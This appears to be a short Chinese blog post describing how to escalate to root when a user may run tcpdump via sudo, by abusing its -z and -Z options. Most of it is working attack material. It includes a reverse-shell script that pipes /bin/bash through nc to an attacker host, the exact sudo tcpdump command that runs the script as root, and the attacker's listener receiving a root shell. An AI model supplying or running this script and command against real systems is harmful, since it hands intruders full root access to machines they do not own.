sudo-tcpdump提权法

当当前用户可以通过sudo执行tcpdump时,可以用来进行提权

tcpdump中有两个参数-z和-Z,前者用来执行一个脚本,后者用来指定tcpdump以哪个用户运行,当可以通过sudo执行时,则可以指定以root用户运行一个脚本,从而达到提权的目的

一、编写反向shell脚本

#shell.sh

mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe

二、通过sudo调用tcpdump来执行shell.sh这个脚本

[test@localhost tmp]$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
6 packets received by filter
0 packets dropped by kernel
[fireman@localhost tmp]$ 

三、在接收端可以看到已经得到了一个反向shell

root@kali:~/# nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.109.216] from (UNKNOWN) [192.168.109.223] 52468
id
uid=0(root) gid=0(root) groups=0(root)

 

上一篇:tcpdump的使用


下一篇:如何抓取访问特定URL的HTTP流的数据包